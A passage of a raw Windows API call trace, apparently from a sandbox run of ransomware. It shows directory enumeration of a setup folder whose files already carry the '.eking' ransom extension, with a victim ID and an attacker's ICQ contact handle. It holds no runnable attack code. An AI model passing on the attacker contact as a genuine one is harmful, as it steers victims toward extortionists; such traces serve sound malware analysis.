returned 1 [0275.014] GetProcessHeap () returned 0xaf0000 [0275.014] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba5150 [0275.014] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName=".", cAlternateFileName="")) returned 0xb02d08 [0275.015] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="..", cAlternateFileName="")) returned 1 [0275.016] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3d909d5, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3d909d5, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc3ec13ac, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xec2, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0275.016] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3ec13ac, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3ec13ac, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc3fa431e, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x14522, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0275.016] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3fa431e, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3fa431e, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc3fca5c8, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0275.016] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3fa431e, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3fa431e, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc3fca5c8, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0275.016] FindClose (in: hFindFile=0xb02d08 | out: hFindFile=0xb02d08) returned 1 [0275.017] GetProcessHeap () returned 0xaf0000 [0275.017] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba5150 | out: hHeap=0xaf0000) returned 1 [0275.017] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1037", cAlternateFileName="")) returned 1 [0275.017] GetProcessHeap () returned 0xaf0000 [0275.017] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba5150 [0275.017] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName=".", cAlternateFileName="")) returned 0xb03088 [0275.019] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="..", cAlternateFileName="")) returned 1 [0275.019] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3fca5c8, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3fca5c8, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc4016a96, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x1bc2, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0275.019] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc403cd24, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc403cd24, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc403cd24, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x11a92, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0275.019] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc408919a, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc408919a, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc408919a, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4262, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0275.019] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc408919a, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc408919a, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc408919a, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4262, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0275.019] FindClose (in: hFindFile=0xb03088 | out: hFindFile=0xb03088) returned 1 [0275.020] GetProcessHeap () returned 0xaf0000 [0275.020] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba5150 | out: hHeap=0xaf0000) returned 1 [0275.020] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1038", cAlternateFileName="")) returned 1 [0275.020] GetProcessHeap () returned 0xaf0000 [0275.020] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba5150 [0275.020] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName=".", cAlternateFileName="")) returned 0xb02c88 [0275.022] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="..", cAlternateFileName="")) returned 1 [0275.022] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc406450f, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc406450f, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc40fb8a4, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x1192, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0275.022] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc408919a, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc408919a, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc40fb8a4, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x152b2, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0275.022] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc40fb8a4, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc40fb8a4, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc416e502, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0275.022] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc40fb8a4, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc40fb8a4, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc416e502, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0275.022] FindClose (in: hFindFile=0xb02c88 | out: hFindFile=0xb02c88) returned 1 [0275.023] GetProcessHeap () returned 0xaf0000 [0275.023] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba5150 | out: hHeap=0xaf0000) returned 1 [0275.023] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1040", cAlternateFileName="")) returned 1 [0275.023] GetProcessHeap () returned 0xaf0000 [0275.023] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba5150 [0275.023] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0275.025] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="..", cAlternateFileName="")) returned 1 [0275.025] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4121acc, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc4121acc, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc572fa6b, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xf32, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0275.025] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4194234, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc4194234, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc572fa6b, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x139c2, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0275.026] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc577bbca, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc577bbca, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc57c801f, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0275.026] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc577bbca, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc577bbca, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc57c801f, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0275.026] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0275.027] GetProcessHeap () returned 0xaf0000 [0275.027] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba5150 | out: hHeap=0xaf0000) returned 1 [0275.027] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1041", cAlternateFileName="")) returned 1 [0275.027] GetProcessHeap () returned 0xaf0000 [0275.027] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba5150 [0275.027] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName=".", cAlternateFileName="")) returned 0xb031c8 [0275.028] FindNextFileW (in: hFindFile=0xb031c8, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="..", cAlternateFileName="")) returned 1 [0275.029] FindNextFileW (in: hFindFile=0xb031c8, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5755a46, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc5755a46, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc57ee350, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x2882, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0275.029] FindNextFileW (in: hFindFile=0xb031c8, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc57c801f, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc57c801f, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc5b81b85, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x10b92, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0275.029] FindNextFileW (in: hFindFile=0xb031c8, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc57ee350, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc57ee350, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc5814523, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x3e62, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0275.029] FindNextFileW (in: hFindFile=0xb031c8, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc57ee350, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc57ee350, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc5814523, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x3e62, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0275.029] FindClose (in: hFindFile=0xb031c8 | out: hFindFile=0xb031c8) returned 1 [0275.030] GetProcessHeap () returned 0xaf0000 [0275.030] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba5150 | out: hHeap=0xaf0000) returned 1 [0275.030] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1042", cAlternateFileName="")) returned 1 [0275.030] GetProcessHeap () returned 0xaf0000 [0275.030] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba5150 [0275.030] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0275.031] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="..", cAlternateFileName="")) returned 1 [0275.031] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5814523, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc5814523, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc5b81b85, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x3282, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0275.032] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5b81b85, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc5b81b85, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc5b81b85, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xffe2, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0275.032] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5b81b85, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc5b81b85, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc5bcede9, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, 